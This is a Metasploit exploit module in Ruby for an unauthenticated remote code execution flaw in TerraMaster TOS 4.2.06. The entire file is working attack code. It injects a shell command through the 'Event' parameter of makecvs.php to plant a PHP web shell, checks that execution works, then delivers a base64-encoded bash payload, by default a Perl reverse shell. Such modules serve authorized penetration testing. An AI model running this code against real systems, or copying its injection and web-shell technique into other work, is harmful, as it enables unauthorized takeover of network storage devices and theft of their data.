##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "TerraMaster TOS 4.2.06 - Unauthenticated Remote Code Execution",
      'Description' => %q(
        This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS.
        The "Event" parameter in "include/makecvs.php" contains a vulnerability. 
        "filename" is executing command on system during ".csv" creation. 
        In order to do this, it is not necessary to have a session in the application.
        Therefore an unathenticated user can execute the command on the system.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', #PoC & Metasploit module
          'IHTeam' # Discovery
        ],
      'References' =>
        [
          ['CVE', '2020-'],
          ['URL', 'http://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html'],
          ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/']
        ],
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Dec 12 2020",
      'DefaultTarget' => 0,
      'DefaultOptions' =>
        {
          'RPORT' => 8181,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_perl' }))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
      ]
    )
  end

  def run_cmd(file,cmd)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri'     =>  normalize_uri(target_uri.path, "#{file}"),
        'data' => "cmd=#{cmd}"
      })
  end

  def upload_shell
    sname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    payload_post = "http|echo \"<?php echo(passthru(\\$_REQUEST['cmd']));?>\" >> /usr/www/#{sname} && chmod +x /usr/www/#{sname}||"
    @b64p = Rex::Text.encode_base64(payload.encoded)
    perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
    payload = Rex::Text.uri_encode(perl_payload)

    res = send_request_cgi(
      'method'  => 'GET',
      'uri' => normalize_uri(target_uri.path, "include", "makecvs.php"),
      'vars_get' => {
        'Event' => "#{payload_post}",
      }
    )

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, "#{sname}"),
      'vars_post' => {
        'cmd' => 'id'
      }
    )

    if res && res.code == 200 && res.body.include?('uid=')
      print_good("Upload completed successfully and command executed!")
      run_cmd("#{sname}",payload)
    else
      fail_with(Failure::NoAccess, 'Error occurred during uploading!')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    upload_shell    
  end

  def check

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, "version"),
    )

    if res && res.code == 200 && res.body
      version = res.body.split(".0_")[1]
      print_status("Version : " + res.body)
      return CheckCode::Detected if version.nil?
      version = version.split(".").join('')
      if version <= "4206"
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    end
  end
end